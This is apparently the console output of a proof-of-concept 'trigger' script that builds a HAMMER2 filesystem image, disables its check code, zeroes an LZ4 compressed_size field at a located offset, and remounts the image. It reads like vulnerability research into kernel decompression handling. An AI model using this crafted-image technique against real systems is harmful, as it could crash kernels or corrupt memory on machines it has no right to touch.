[trigger] creating 256 MB HAMMER2 image at /tmp/df2664.h2
[trigger] using device /dev/vn3s0
[trigger] mounted: /dev/vn3s0@DATA on /tmp/df2664_mnt (hammer2, local)
[trigger] writing a unique-signature file (forces LZ4 path, not a hole)

[trigger] disabling the per-file check code via HAMMER2IOC_INODE_SET
[trigger] re-writing the file so the data block is re-stored with the new check_algo
[setcheck] old check_algo @ meta[133] = 3
[setcheck] new check_algo = 0
[setcheck] OK — check_algo set to 0 on /tmp/df2664_mnt/lz4_target
[trigger] scanning image for signature 'DF2664LIVEPROBE'
[trigger] signature found at byte offset 29360134

[trigger] overwriting field with 0x00000000 (compressed_size = 0)
[trigger] re-attaching and re-mounting the crafted image
